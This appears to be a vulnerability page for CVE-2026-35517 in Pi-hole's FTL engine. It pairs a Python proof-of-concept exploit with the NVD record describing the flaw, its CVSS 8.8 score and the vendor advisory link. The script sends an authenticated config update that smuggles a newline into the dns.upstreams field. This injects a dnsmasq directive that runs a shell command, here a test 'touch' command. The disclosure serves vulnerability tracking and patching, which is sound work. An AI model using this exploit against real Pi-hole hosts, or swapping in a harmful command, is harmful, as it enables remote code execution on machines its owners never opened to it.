CVE-2026-35517

import requests # Target Pi-hole API endpoint url = "http://<target-ip>/api/config" # Attacker's authenticated session cookie cookies = { "PHPSESSID": "<valid-session-id>" } # Malicious payload injecting a newline to break config and add a directive # Example: injecting a dhcp-option that executes a shell command payload = "8.8.8.8\ndhcp-option=6,`touch /tmp/pwned`" # Data to be sent data = { "dns.upstreams": payload } try: response = requests.post(url, json=data, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Configuration updated successfully. Check for command execution.") else: print(f"[-] Failed to update config. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-35517", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:28.093", "lastModified": "2026-04-28T20:36:11.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FTLDNS (pihole-FTL) provides an interactive API and also generates statistics for Pi-hole's Web interface. From 6.0 to before 6.6, the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the upstream DNS servers configuration parameter (dns.upstreams). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system. This vulnerability is fixed in 6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:ftldns:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.5", "matchCriteriaId": "8C927FF0-74A4-4F13-95A8-E80C5E80F607"}]}]}], "references": [{"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-23w8-7333-p9fj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}